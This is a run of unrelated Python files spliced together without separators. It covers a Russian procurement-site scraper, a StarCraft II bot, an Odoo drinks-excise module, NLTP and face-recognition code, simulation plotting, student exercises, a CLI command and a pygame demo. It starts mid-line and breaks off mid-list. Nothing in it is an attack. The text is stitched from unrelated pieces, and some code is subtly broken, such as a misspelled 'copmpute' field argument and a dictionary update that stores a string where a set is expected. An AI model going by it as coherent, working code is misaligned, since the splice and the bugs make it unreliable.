#"&purchaseStages=COMMISSION_ACTIVITIES" \

class searchForm(ParserBase):
    u"""class for parsing purchase urls from search form"""
    def __init__(self):
        ParserBase.__init__(self, 'searchForm', "d-3771889-p=%i&purchaseStages=%s" % (1, "APPLICATION_FILING"))
        self.searchUrl = "%s%s?%s" % (globals.urlBase, globals.urlPaths['searchForm'], "d-3771889-p=%i&purchaseStages=%s")

    def searchUrlFor(self, page = 1, purchaseStage = "APPLICATION_FILING"):
        return self.searchUrl % (page, purchaseStage)

    def allPurchaseFor(self, purchaseStage = "APPLICATION_FILING", startPage = 1, pagelimit = 0):
        if startPage < 1 or pagelimit < 0:
            raise ValueError("Page number must be positive")
        elif pagelimit >=0 and startPage >= pagelimit:
            raise ValueError("Start page [%i] must be lager than pagelimit[%i]. If it is not set in zero" % (startPage, pagelimit))
        self.updateUrl(self.searchUrlFor(startPage, purchaseStage))
        limit =pagelimit
        if pagelimit == 0:
            limit = self.totalPagesCount()
        for page in range(startPage, limit + 1, 1):
            for url, purchaseMethod, published, startPrice, lastModified\
                in self.allPurchasesFromPage(self.searchUrlFor(page, purchaseStage)):
                yield url, purchaseMethod, published, startPrice, lastModified

    def allPurchasesFromPage(self, pageUrl = "None"):
        content = self.geturltext(url=pageUrl, showErrorMessage=False)
        self.updateSoupFromContent(content)
        for tr in self.soup.findAll(True, 'maintable')[0].tbody.findAll('tr'):
            url = list(set(a['href'] for a in tr.findAll('a')\
                           if a['href'].find(globals.urlPaths['purchase']) != -1))[0]\
                            .split('?')[1]
            columns = tr.findAll('td')
            purchaseMethod = columns[1].find('a').text.strip().splitlines()[0].strip()
            published, startPrice, lastModified = (td.text.strip() for td in columns[-3:])
            yield url, purchaseMethod, published, startPrice, lastModified

    def totalPagesCount(self):
        pageContainer = [x.split("=")[1] for x in self.soup.find(True, 'arrow')['href'].split("?")[1].split("&") if x.split("=")[0] == "d-3771889-p"]
        if len(pageContainer) != 1:
            return 0
        return int(pageContainer[0])

def main():
    purchasseStage = "PLACEMENT_COMPLETE"
    pageLimit = 2
    searcher = searchForm()
    purchaseList = searcher.allPurchaseFor(purchasseStage, 1, pageLimit)
    print(searcher.totalPagesCount())
    for url, method, dateplaced, startPrise, datemodified in purchaseList:
        print("%s %s %s %s %s" % (url, method, dateplaced, startPrise, datemodified))

if __name__ == "__main__":
    main()

# stdout
#3967
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612232&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612215&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612206&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612205&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612204&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612119&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612201&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612199&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612198&&purchaseMethodType=ep
#http://zakupki.gov.ru/223/purchase/public/purchase/info/common-info.html?purchaseId=612197&&purchaseMethodType=ep


import sc2
from sc2 import run_game, maps, Race, Difficulty
from sc2.player import Bot, Computer
from sc2.constants import *
import random
#from sc2.data import race_townhalls

# the point of this class is to set all the attack type options for the units to attack.

class OffenseCoord():
    intIsAllAttack = 0

    def select_target(self,draf_bot):
        if draf_bot.known_enemy_structures.exists:
            return random.choice(draf_bot.known_enemy_structures).position

        return draf_bot.enemy_start_locations[0]

    async def attackWithAll(self,draf_bot):
        #print("draf_bot.unitsBuilder.objForcesList len ==>" + str(len(draf_bot.unitsBuilder.objForcesList)))
        for _objUnitTypes in draf_bot.unitsBuilder.objForcesList:
            await draf_bot.do(_objUnitTypes.attack(self.select_target(draf_bot)))
        #for unit in forces.idle:
        #    await self.do(unit.attack(self.select_target()))

    async def defendNexus(self,draf_bot):
        _Target = False
        if len(draf_bot.known_enemy_units.not_structure) > 0:
            _Target = draf_bot.known_enemy_units.closest_to(random.choice(draf_bot.units(NEXUS)))
        if _Target:
            for _objUnitTypes in draf_bot.unitsBuilder.objForcesList:
                await draf_bot.do(_objUnitTypes.attack(_Target))


# -*- coding: utf-8 -*-
from odoo import models, fields, api, _, exceptions
from odoo.exceptions import ValidationError
from datetime import datetime, timedelta
import logging
import statistics
_logger = logging.getLogger(__name__)
DEFAULT_VOLUME_WEIGHT_RATIO = 1.25

class ProductTemplate(models.Model):
    _inherit = "product.template"

    # Default Methods

    # Simple Fields
    freight_costs = fields.Float("Freight Costs")
    alcoholic_degree = fields.Float("Alcoholic Degree")
    type = fields.Selection(default="product")
    daa = fields.Boolean(string="DAA", default=True)
    display_type = fields.Boolean(string="Display Type", default=True)
    ley_wholesaler_price = fields.Float(string="Wholesaler Price")
    public_price_vat = fields.Float(compute='_compute_public_price_vat', string="Public Price VAT")

    # Computed Fields
    weight = fields.Float(string="Weight", copmpute="_compute_weight")
    excise_price = fields.Float(compute="_compute_excise")

    # Relationnal Fields
    domain_id = fields.Many2one('drink.domain', string="Domain")
    epc_id = fields.Many2one('drink.epc', string="EPC")
    excise_code_id = fields.Many2one('drink.excise.code', string="Excise Code")
    excise_type_id = fields.Many2one('drink.excise.type', string="Excise Type")
    production_method_id = fields.Many2one('drink.production.method', string="Production Method")
    volume_id = fields.Many2one('drink.volume', string="Volume")
    vintage_id = fields.Many2one('drink.vintage', string="Vintage")
    type_id = fields.Many2one('drink.type', string="Type")
    cuvee_id = fields.Many2one('drink.cuvee', string="Cuvee")
    designation_id = fields.Many2one('drink.designation', string="Designation")
    country_id = fields.Many2one('res.country', string="Country")
    drink_state_id = fields.Many2one('drink.country.state', string="State")
    sub_state_id = fields.Many2one('drink.country.substate', string="Sub State")
    need_excise = fields.Boolean(compute="compute_need_excise")

    average_receipt_days = fields.Float('Average Delivery Days', compute="_compute_average_receipt_days", help="The average of the delivery time (from confirmation to receipt) for each purchase concerning this product with the suppliers. If no suppliers, the average will be 0.0. If more than one supplier is set, the average will be calculated on the first supplier of the list.", store='True')
    consumption_days = fields.Float("Consumption", compute="_compute_consumption_days", store='True')
    substitution_product_id = fields.Many2one('product.template')
    time_before_out_of_stock = fields.Float("Time before Out of Stock", help="This time is mesured in days", compute="_compute_time_before_out_of_stock", store='True')
    stock_state = fields.Selection([('ok', 'Ok'), ('to_reorder', 'To Reorder'), ('break', 'Break')], compute="_compute_stock_state", store='True')

    @api.onchange('list_price')
    def _compute_public_price_vat(self):
            self.public_price_vat = self.list_price * 1.21

    @api.depends('time_before_out_of_stock', 'average_receipt_days')
    def _compute_stock_state(self):
        for prod in self:
            if prod.time_before_out_of_stock > (prod.average_receipt_days + 7):
                prod.stock_state = 'ok'
            elif prod.average_receipt_days <= prod.time_before_out_of_stock <= (prod.average_receipt_days + 7):
                prod.stock_state = 'to_reorder'
            else:
                prod.stock_state = 'break'
            if not prod.consumption_days:
                prod.stock_state = 'ok'

    @api.depends('consumption_days', 'qty_available')
    def _compute_time_before_out_of_stock(self):
        for prod in self:
            if prod.consumption_days:
                prod.time_before_out_of_stock = round((prod.qty_available / prod.consumption_days), 2)
            else:
                prod.time_before_out_of_stock = 0.0

    # Related Fields
    # Compute Methods
    @api.depends('seller_ids')
    def _compute_average_receipt_days(self):
        for prod in self:
            if not prod.seller_ids:
                prod.average_receipt_days = 0.0
            else:
                seller_id = prod.seller_ids[0]
                po_line_ids = self.env['purchase.order.line'].search([('partner_id', '=', seller_id.name.id), ('order_id.state', 'in', ['purchase', 'done']), ('product_id.product_tmpl_id', '=', prod.id), ('qty_received', '>', 0)])
                times = []
                for po_line in po_line_ids:
                    move_ids = po_line.move_ids.filtered(lambda m: m.state == 'done').sorted(lambda m: m.date, True)
                    if move_ids:
                        date_receipt = move_ids[0].date
                        date_order = po_line.order_id.date_approve
                        times.append((date_receipt - date_order).days)
                if times:
                    prod.average_receipt_days = round(statistics.mean(times), 2)
                else:
                    prod.average_receipt_days = 0.0

    def _compute_consumption_for_dates(self, start_date, end_date):
        self.ensure_one()
        move_ids = self.env['stock.move.line'].search([('product_id.product_tmpl_id', '=', self.id), ('location_dest_id.usage', '=', 'customer'), ('state', '=', 'done'), ('date', '<=', end_date), ('date', '>=', start_date)]).mapped('qty_done')
#         move_ids = self.env['sale.order.line'].search([('product_id.product_tmpl_id', '=', self.id), ('qty_delivered', '>', 0), ('order_id.state', 'in', ['sale', 'done']), ('order_id.effective_date', '<=', end_date), ('order_id.effective_date', '>=', start_date)]).mapped('qty_delivered')
        return round(sum(move_ids) / (end_date - start_date).days, 2)

    @api.depends('substitution_product_id', 'sales_count')
    def _compute_consumption_days(self):
        for prod in self:
            this_week_in_year = datetime.today().isocalendar()[1]
            previous_year = datetime.today().year - 1
            d = str(previous_year) + "-W" + str(this_week_in_year - 1)
            start_date = datetime.strptime(d + '-1', "%Y-W%W-%w")
            end_date = start_date + timedelta(days=+6)
            consu = prod._compute_consumption_for_dates(start_date, end_date)
            if not consu and prod.substitution_product_id:
                consu = prod.substitution_product_id._compute_consumption_for_dates(start_date, end_date)
            if not consu:
                consu = prod._compute_consumption_for_dates(datetime(datetime.today().year, 1, 1), datetime.today())
            prod.consumption_days = consu

    @api.depends('categ_id', 'company_id')
    def compute_need_excise(self):
        for prod in self:
            if prod.categ_id and prod.categ_id.need_excise and not prod.company_id:
                raise ValidationError(_("You must specify the following fields:\n- Company"))
            if prod.company_id and prod.company_id.excise and prod.categ_id and prod.categ_id.need_excise:
                prod.need_excise = True
            else:
                prod.need_excise = False

    @api.depends('volume_id', 'excise_type_id', 'alcoholic_degree')
    def _compute_excise(self):
        for prod in self:
            if prod.volume_id and prod.excise_type_id:
                if prod.excise_type_id.based_on_alcohol_degree:
                    prod.excise_price = prod.volume_id.volume * prod.excise_type_id.price_per_hl / 100 * prod.excise_type_id.alcohol_coef * prod.alcoholic_degree
                else:
                    prod.excise_price = prod.volume_id.volume * prod.excise_type_id.price_per_hl / 100
            else:
                prod.excise_price = 0.0

    @api.onchange('domain_id', 'cuvee_id', 'designation_id', 'vintage_id', 'display_type', 'type_id', 'volume_id')
    def _compute_name(self):
        for tmpl in self:
            name = ''
            if tmpl.designation_id:
                name += tmpl.designation_id.name + ' '
            if tmpl.domain_id:
                name += tmpl.domain_id.prefix + " " + tmpl.domain_id.name + ' ' if tmpl.domain_id.prefix else tmpl.domain_id.name + " "
            if tmpl.vintage_id:
                name += tmpl.vintage_id.name + ' '
            if tmpl.cuvee_id and (not tmpl.designation_id or tmpl.cuvee_id.name != tmpl.designation_id.name):
                name += tmpl.cuvee_id.name + ' '
            if tmpl.volume_id:
                name += tmpl.volume_id.name + ' '
            if tmpl.display_type and tmpl.type_id:
                name += tmpl.type_id.name + ' '
            tmpl.name = name.strip()

    @api.onchange('domain_id')
    def onchange_domain(self):
        return {
            'domain': {
                'cuvee_id': [] if not self.domain_id else [('domain_id', '=', self.domain_id.id)]
            }
        }

    @api.depends('volume_id')
    def _compute_weight(self):
        for prod in self:
            if prod.volume_id and prod.volume_id.volume:
                prod.weight = prod.volume_id.volume * DEFAULT_VOLUME_WEIGHT_RATIO
            else:
                prod.weight = 0.0

    # @api.depends('price_history_ids')
    # def _compute_price_history_count(self):
    #     for prod in self:
    #         prod.price_history_count = len(prod.price_history_ids)

    @api.onchange('country_id')
    def _onchange_country_id(self):
        return {
            'domain': {
                'drink_state_id': [] if not self.country_id else [('country_id', '=', self.country_id.id)],
                'sub_state_id': [] if not self.country_id  else [('state_id.country_id', '=', self.country_id.id),]
            }
        }

    @api.onchange('drink_state_id')
    def _onchange_drink_state_id(self):
        domain = None
        if self.drink_state_id:
            domain = [('state_id', '=', self.drink_state_id.id)]
        elif self.country_id:
            domain = [('state_id.country_id', '=', self.country_id.id)]
        if domain:
            return {
                'domain': {
                    'sub_state_id': domain
                }
            }
        return {}

    # Model Methods
    def write(self, values):
        res = super(ProductTemplate, self).write(values)
        if self.need_excise and not self.alcoholic_degree:
            raise ValidationError(_("You must specify the following fields:\n- Alcoholic Degree"))
        return res

    def create(self, values):
        res = super(ProductTemplate, self).create(values)
        if res.need_excise and not res.alcoholic_degree:
            raise ValidationError(_("You must specify the following fields:\n- Alcoholic Degree"))
        return res

    # Action Methods

    # Util Methods
    def _create_product_price_history(self):
        self.env['product.price.history'].create({
            'product_id': self.id,
            'purchase_price': self.standard_price,
            'percent_margin': 0.0,
            'currency_margin': 0.0,
        })


import nltk

from nltk.tag import *

from nltk.tbl.template import Template

from nltk.tag.brill import Pos, Word

import re

import csv

import numpy as np

import dill
import argparse

# for the command:
# python3 pos_nltk_train.py --train PATH_TO_TRAIN_FILE --model PATH_TO_MODEL_FILE
def parse_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument('--train', dest="train_path", action="store", required=True)
    parser.add_argument('--model', dest="model_path", action="store", required=True)

    args = parser.parse_args()

    return args

def pre_process(filename):
    f = open(filename, "r")

    contents = f.read()

    contents = re.compile("\n").split(contents)

    data = []

    data_line = []

    for line in contents:

        if not line:

            data.append(data_line)

            data_line = []

        else:

            word_and_tag = re.compile("[ ]+").split(line)

            word_and_tag = tuple(word_and_tag)

            data_line.append(word_and_tag)

    f.close()
    return data;

def main():
    args = parse_arguments()
    train_file = args.train_path
    model_file = args.model_path

    train_data = pre_process(train_file)

    hmm_tagger = hmm.HiddenMarkovModelTagger.train(train_data)

    brill_trainer = BrillTaggerTrainer(hmm_tagger, brill.fntbl37())

    brill_tagger = brill_trainer.train(train_data)

    with open(model_file, 'wb') as f:
        dill.dump(brill_tagger, f)

if __name__ == "__main__":
    main()


#!/usr/bin/env python

#/projects/ncsa/grav/more_sims_for_Extraction/simulations

import sys
import os
import matplotlib.pyplot as plt
import numpy as np

path = sys.argv[1]
sim_name = sys.argv[2]

problem_outputs = []

####################
#Get output Paths
####################
path_dirs = sorted(os.listdir(path + "/" + sim_name))
output_dirs = []

for i in range(len(path_dirs)):
	if "output" in path_dirs[i]:
		output_dirs = np.append(output_dirs, path_dirs[i])

#########################
#Combine Output Data
#########################

time = []
irr_mass = []
spin = []
mass = []

file_exists = True
file_access = True

for i in range(len(output_dirs)):
	temp_path = path + "/" + sim_name + "/" + output_dirs[i] + "/" + sim_name + "/quasilocalmeasures-qlm_scalars..asc"
	if os.path.isfile(temp_path) is True and os.access(temp_path, os.R_OK) is True:
		time = np.append(time, np.genfromtxt(temp_path, usecols=(1)))
		irr_mass = np.append(irr_mass, np.genfromtxt(temp_path, usecols=(19)))
		spin = np.append(spin, np.genfromtxt(temp_path, usecols=(37)))
		mass = np.append(mass, np.genfromtxt(temp_path, usecols=(58)))
	elif os.path.isfile(temp_path) is False:
		file_exists = False
		problem_outputs = np.append(problem_outputs, sim_name + "-" + output_dirs[i] + "-no scalars file")
	elif os.access(temp_path, os.R_OK) is False:
		file_access = False
		problem_outputs = np.append(problem_outputs, sim_name + "-" + output_dirs[i] + "-no access")

##########
#Mass
##########

mass_index = 0

for i in range(len(mass)):
	if mass[i] != 0:
		mass_index = i
		break

mass_index = mass_index + 10

mass_cut = mass[mass_index:]

mass_avg = np.average(mass_cut)

print(mass_avg)

##########
#Spin
##########

spin_index = 0

for i in range(len(spin)):
	if spin[i] != 0:
		spin_index = i
		break

spin_index = spin_index + 10

spin_cut = spin[spin_index:]

spin_avg = np.average(spin_cut)

print(spin_avg)

print(problem_outputs)

##########
#Plot
##########

plt.plot(time, mass)
plt.show()


# Proyecto creado por Eva María Hoyo de la Cruz, TongTong Xu y Antonio Francisco Roldan Martín
import glob
import cv2
import p1procesadoImagen
import numpy as np

class alternativa:

    def Alternativa(strinentradaimg):
        imagen = cv2.imread(strinentradaimg)
        contrast_img = cv2.addWeighted(imagen, 2.5, np.zeros(imagen.shape, imagen.dtype), 0, 0)
        imagenhsv = cv2.cvtColor(contrast_img, cv2.COLOR_BGR2HSV)
        (cannybordes, cerradoimagen) = p1procesadoImagen.filtradorojoDifuminarNucleoCerradoCanny(imagenhsv)
        contornos, hierarchy = cv2.findContours(cerradoimagen.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)

        if len(contornos) > 0:
            p1procesadoImagen.recorteCorrelarSignals(contornos, imagen.copy(), imagen, "Alternativa", strinentradaimg)
        # cv2.waitKey(0)

        return ()


import os
import re
import numpy as np
import tensorflow as tf
from tensorflow.python.platform import gfile
from scipy import misc
import align.detect_face

minsize = 20  # minimum size of face
mtcnn_threshold = [0.6, 0.7, 0.7]  # three steps's threshold
factor = 0.709  # scale factor
gpu_memory_fraction = 1.0
image_size = 160
margin = 32

model_path = os.path.join(os.path.dirname(__file__), '../../data/20170512-110547/20170512-110547.pb')

class FacenetFaceRecognize:
    def __init__(self):
        self.pnet = None
        self.rnet = None
        self.onet = None
        self.create_mtcnn()
        self.inception_resnet_v1 = inception_resnet()

    def create_mtcnn(self):
        print('Creating networks and loading parameters')
        with tf.Graph().as_default():
            gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=gpu_memory_fraction)
            sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=False))
            with sess.as_default():
                self.pnet, self.rnet, self.onet = align.detect_face.create_mtcnn(sess, None)

    def detect_face(self, img_arr):
        bounding_boxes, _ = align.detect_face.detect_face(img_arr, minsize, self.pnet, self.rnet, self.onet,
                                                          mtcnn_threshold, factor)

        bounding_boxes = [(left, top, right, bottom) for (left, top, right, bottom, _) in
                          bounding_boxes]
        return bounding_boxes

    def trans_image_emb(self, img, bounding_box):
        cropped = face_align(image_size, img, bounding_box)

        emb = self.inception_resnet_v1([cropped])[0]

        return emb

def inception_resnet():
    with tf.Graph().as_default():
        sess = tf.Session()
        with sess.as_default():
            # Load the model
            load_model(model_path)

            # Get input and output tensors
            images_placeholder = tf.get_default_graph().get_tensor_by_name("input:0")
            embeddings = tf.get_default_graph().get_tensor_by_name("embeddings:0")
            phase_train_placeholder = tf.get_default_graph().get_tensor_by_name("phase_train:0")

            # Run forward pass to calculate embeddings
            inception_resnet_fun = lambda images: sess.run(embeddings, feed_dict={images_placeholder: images,
                                                                                phase_train_placeholder: False})
            return inception_resnet_fun

def load_model(model):
    # Check if the model is a model directory (containing a metagraph and a checkpoint file)
    #  or if it is a protobuf file with a frozen graph
    model_exp = os.path.expanduser(model)
    if os.path.isfile(model_exp):
        print('Model filename: %s' % model_exp)
        with gfile.FastGFile(model_exp, 'rb') as f:
            graph_def = tf.GraphDef()
            graph_def.ParseFromString(f.read())
            tf.import_graph_def(graph_def, name='')
    else:
        print('Model directory: %s' % model_exp)
        meta_file, ckpt_file = get_model_filenames(model_exp)

        print('Metagraph file: %s' % meta_file)
        print('Checkpoint file: %s' % ckpt_file)

        saver = tf.train.import_meta_graph(os.path.join(model_exp, meta_file))
        saver.restore(tf.get_default_session(), os.path.join(model_exp, ckpt_file))

def get_model_filenames(model_dir):
    files = os.listdir(model_dir)
    meta_files = [s for s in files if s.endswith('.meta')]
    if len(meta_files) == 0:
        raise ValueError('No meta file found in the model directory (%s)' % model_dir)
    elif len(meta_files) > 1:
        raise ValueError('There should not be more than one meta file in the model directory (%s)' % model_dir)
    meta_file = meta_files[0]
    ckpt_file = None
    max_step = -1
    for f in files:
        step_str = re.match(r'(^model-[\w\- ]+.ckpt-(\d+))', f)
        if step_str is not None and len(step_str.groups()) >= 2:
            step = int(step_str.groups()[1])
            if step > max_step:
                max_step = step
                ckpt_file = step_str.groups()[0]
    return meta_file, ckpt_file

def face_align(image_size, img_arr, bounding_box):
    img_shape = np.asarray(img_arr.shape)[0:2]
    bb = np.zeros(4, dtype=np.int32)
    bb[0] = np.maximum(bounding_box[0] - margin / 2, 0)
    bb[1] = np.maximum(bounding_box[1] - margin / 2, 0)
    bb[2] = np.minimum(bounding_box[2] + margin / 2, img_shape[1])
    bb[3] = np.minimum(bounding_box[3] + margin / 2, img_shape[0])
    cropped = img_arr[bb[1]:bb[3], bb[0]:bb[2], :]
    aligned = misc.imresize(cropped, (image_size, image_size), interp='bilinear')
    prewhitened = prewhiten(aligned)

    return prewhitened

def prewhiten(x):
    mean = np.mean(x)
    std = np.std(x)
    std_adj = np.maximum(std, 1.0 / np.sqrt(x.size))
    y = np.multiply(np.subtract(x, mean), 1 / std_adj)
    return y


# coding: utf-8

import os
import shlex
import subprocess
from contextlib import contextmanager
from types import ModuleType
from typing import Any, Dict, Iterator, Tuple
from importlib.machinery import ModuleSpec
from importlib import util

# import yaml
from cookiecutter.utils import rmtree
from pytest_cookies.plugin import Cookies, Result

@contextmanager
def inside_dir(dirpath: str) -> Iterator[None]:
    """
    Execute code from inside the given directory
    :param dirpath: String, path of the directory the command is being run.
    """
    old_path = os.getcwd()
    try:
        os.chdir(dirpath)
        yield
    finally:
        os.chdir(old_path)

@contextmanager
def bake_in_temp_dir(cookies: Cookies, *args: Any, **kwargs: Dict[str, str]) -> Result:
    """
    Delete the temporal directory that is created when executing the tests
    :param cookies: pytest_cookies.Cookies,
        cookie to be baked and its temporal files will be removed
    """
    result = cookies.bake(*args, **kwargs)
    # print('=' * 80 + '\n', "Result info:", repr(result), '\n' + ('=' * 80))
    try:
        yield result
    finally:
        rmtree(str(result.project))

def run_inside_dir(command: str, dirpath: str) -> int:
    """
    Run a command from inside a given directory, returning the exit status
    :param command: Command that will be executed
    :param dirpath: String, path of the directory the command is being run.
    """
    with inside_dir(dirpath):
        return subprocess.check_call(shlex.split(command))

# def check_output_inside_dir(command: str, dirpath: str) -> str:
#     "Run a command from inside a given directory, returning the command output"
#     with inside_dir(dirpath):
#         return subprocess.check_output(shlex.split(command), text=True)

def project_info(result: Result) -> Tuple[str, str, str]:
    """Get toplevel dir, project_slug, and project dir from baked cookies"""
    project_path = str(result.project)
    project_slug = os.path.split(project_path)[-1]
    project_dir = os.path.join(project_path, "src", project_slug)
    return project_path, project_slug, project_dir

def get_cli(cookies: Cookies, context: Dict[str, str]) -> ModuleType:
    result: Result = cookies.bake(extra_context=context)
    project_path, project_slug, project_dir = project_info(result)
    module_path: str = os.path.join(project_dir, 'cli.py')
    module_name: str = '.'.join([project_slug, 'cli'])
    spec: ModuleSpec = util.spec_from_file_location(module_name, module_path)
    cli: ModuleType = util.module_from_spec(spec)

    assert spec.loader is not None
    spec.loader.exec_module(cli)  # type: ignore

    return cli


import sys
sys.path.append('..')
from utils import reorg_data

data_dir = '/gpu_data/datasets/dog-breed-identification'
label_file = 'labels.csv'
train_dir = 'train'
test_dir = 'test'
input_dir = 'train_valid_test'
valid_ratio = 0.1

reorg_data(data_dir, label_file, train_dir, test_dir, input_dir, valid_ratio)


#Marianela Contreras D.
# Programa para conocer el rendimiento de un carro en km/l y mi/gal.

#Función para calcular el rendimiento del carro en kilometros/litro
def calcularKilometrosLitros(kilometros,litros):
    kilometrosLitros= kilometros/litros
    return kilometrosLitros

#Función para calcular el rendimiento del carro en millas/galones
def calcularMillasGalones(kilometros,litros):
    millasGalones= (kilometros/1.6093)/(litros*.264)
    return millasGalones

#Función para calcular los litros necesarios para recorrer la distancia del usuario
def calcularLitrosNecesarios(kilometros,litros,kilometrosRecorrer):
    kilometrosLitros = calcularKilometrosLitros(kilometros,litros)
    litrosNecesarios = kilometrosRecorrer/kilometrosLitros
    return litrosNecesarios

#Función principal del programa y la que correrá. Las lecturas e impresiones se hacen en esta función.
def main():
    kilometros = float(input("Teclea el número de km recorridos:"))
    litros = float(input("Teclea el número de litros de gasolina usados:"))
    calcularKilometrosLitros(kilometros,litros)
    calcularMillasGalones(kilometros,litros)
    kilometrosLitros= calcularKilometrosLitros(kilometros,litros)
    millasGalones = calcularMillasGalones(kilometros,litros)
    print("\nSi recorres %d"% kilometros, "kms con %d" %litros, "litros de gasolina, el rendimiento es: \n %.2f"% kilometrosLitros,"km/l \n %.2f" %millasGalones,"mi/gal")
    kilometrosRecorrer = float(input("\n¿Cuántos kilómetros vas a recorrer?"))
    calcularLitrosNecesarios(kilometros,litros,kilometrosRecorrer)
    litrosNecesarios= calcularLitrosNecesarios(kilometros,litros,kilometrosRecorrer)
    print("\nPara recorrer %d"%kilometrosRecorrer, "km. Necesitas %.2f"%litrosNecesarios, "litros de gasolina")

main()


def addSighting(s, d, a):
	if d in s.keys():
		s[d].add(a)
	else: s.update({d:a})

def animalsSeen(s, d):
	return s[d] if d in s.keys() else "nothing"

def daysOfSightings(s, a):
	days = set()
	for k in s:
		if a in s[k]:
			days.add(k)
	return days

def allSightings(s):
	animals = set()
	for k in s:
		animals.update(s[k])
	return animals

sights = {'July 1': {'loon', 'beaver'}, 'July 2': {'beaver'}}
addSighting(sights, 'July 2', 'wolf')
print(sights)
addSighting(sights, 'July 3', 'bear')
print(sights)
print(animalsSeen(sights, 'July 1'))
print(animalsSeen(sights, 'July 4'))
print(daysOfSightings(sights, 'loon'))
print(daysOfSightings(sights, 'beaver'))
print(daysOfSightings(sights, 'moose'))


count=0
numbers=set()# A set should be assigned before while here
while True:
    data = input("Enter a number ( or the word 'end' to quit) :")
    if data =='end':# when meets the condition while loop breaks
        break
    if data in numbers:#when data exists then do a counter
        count+=1
    else:
        numbers.add(data)#when data does not already exist add it to list
print("the set is:",numbers)#print conditions should be out of the "if" to get
#data as an output in one go at the end of the break
print(count, "values were not unique")


from conductr_cli import conduct_logging, conduct_info, conduct_url
import json
import requests

@conduct_logging.handle_connection_error
@conduct_logging.handle_http_error
def events(args):
    """`conduct events` command"""

    request_url = conduct_url.url('bundles/{}/events?count={}'.format(args.bundle, args.lines), args)
    response = requests.get(request_url)
    conduct_logging.raise_for_status_inc_3xx(response)

    data = [
        {
            'time': conduct_logging.format_timestamp(event['timestamp'], args),
            'event': event['event'],
            'description': event['description']
        } for event in json.loads(response.text)
    ]
    data.insert(0, {'time': 'TIME', 'event': 'EVENT', 'description': 'DESC'})

    padding = 2
    column_widths = dict(conduct_info.calc_column_widths(data), **{'padding': ' ' * padding})

    for row in data:
        print('''\
{time: <{time_width}}{padding}\
{event: <{event_width}}{padding}\
{description: <{description_width}}{padding}'''.format(**dict(row, **column_widths)))


import serial
import time
import random
import math
import pygame

pygame.init()

DISPLAY_WIDTH  = 800
DISPLAY_HEIGHT = 600

gameDisplay = pygame.display.set_mode((DISPLAY_WIDTH, DISPLAY_HEIGHT))
pygame.display.set_caption("Projeto Sist. Embarcados")

clock = pygame.time.Clock()

gray   = (39,40,34)
orange = (253,151,31)
pink   = (249,38,114)
blue   = (102,217,239)
green  = (166,226,46)
white  = (255,255,255)

ser = serial.Serial('/dev/ttyUSB0')
ser.flushInput()

def get_accel():
    ser_bytes = ser.readline().decode('utf-8')
    accel = ser_bytes.strip().split()

    accel_data = {  'ax' : int(accel[0].replace("\x00", ""))*0.006,
                    'ay' : int(accel[1].replace("\x00", ""))*0.006,
                    'az' : int(accel[2].replace("\x00", ""))*0.006}

    ax = accel_data['ax']
    ay = accel_data['ay']
    az = accel_data['az']

    xAngle = math.atan( ax / (math.sqrt(ay**2 + az**2)))
    yAngle = math.atan( ay / (math.sqrt(ax**2 + az**2)))
    zAngle = math.atan( math.sqrt(ax**2 + ay**2) / az)

    xAngle *= -180.00
    yAngle *= 180.00
    zAngle *= 180.00
    xAngle /= 3.141592
    yAngle /= 3.141592
    zAngle /= 3.141592

    accel_data = {  'ax' : xAngle,
                    'ay' : yAngle,
                    'az' : zAngle}

    print("x:{:10.2f}\ny:{:10.2f}\nz:{:10.2f}\n".format(accel_data['ax'],accel_data['ay'],accel_data['az']) )
    return accel_data

class Block(object):

    def __init__(self, x, y, width, height, color, speed):
        self.x = x
        self.y = y
        self.w = width
        self.h = height
        self.color = color
        self.speed = speed

    def draw(self):
        pygame.draw.rect(gameDisplay, self.color, [self.x, self.y, self.w, self.h])

    def update(self):
        accel_data = get_accel()

        self.y += accel_data['ay']/10
        self.x += accel_data['ax']/10

        if self.x > DISPLAY_WIDTH:
            self.x = DISPLAY_WIDTH

        if self.x < 0:
            self.x = 0

        if self.y > DISPLAY_HEIGHT:
            self.y = DISPLAY_HEIGHT

        if self.y < 0:
            self.y = 0

def game_loop():
    block = Block(DISPLAY_WIDTH//2, DISPLAY_HEIGHT//2, 10, 10, green, 1)

    while True:

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                quit()

            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_q:
                    pygame.quit()
                    quit()

        gameDisplay.fill(gray)

        block.update()
        block.draw()

        pygame.display.update()
        clock.tick(60)

game_loop()

pygame.quit()
quit()


# Apache Software License 2.0
#
# Copyright (c) ZenML GmbH 2023. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#

from artifacts.model_metadata import ModelMetadata
from pydantic import BaseConfig
from sklearn.ensemble import RandomForestClassifier
from sklearn.tree import DecisionTreeClassifier

from zenml.config import DockerSettings
from zenml.integrations.constants import (
    AWS,
    EVIDENTLY,
    KUBEFLOW,
    KUBERNETES,
    MLFLOW,
    SKLEARN,
    SLACK,
)
from zenml.model_registries.base_model_registry import ModelVersionStage

PIPELINE_SETTINGS = dict(
    docker=DockerSettings(
        required_integrations=[
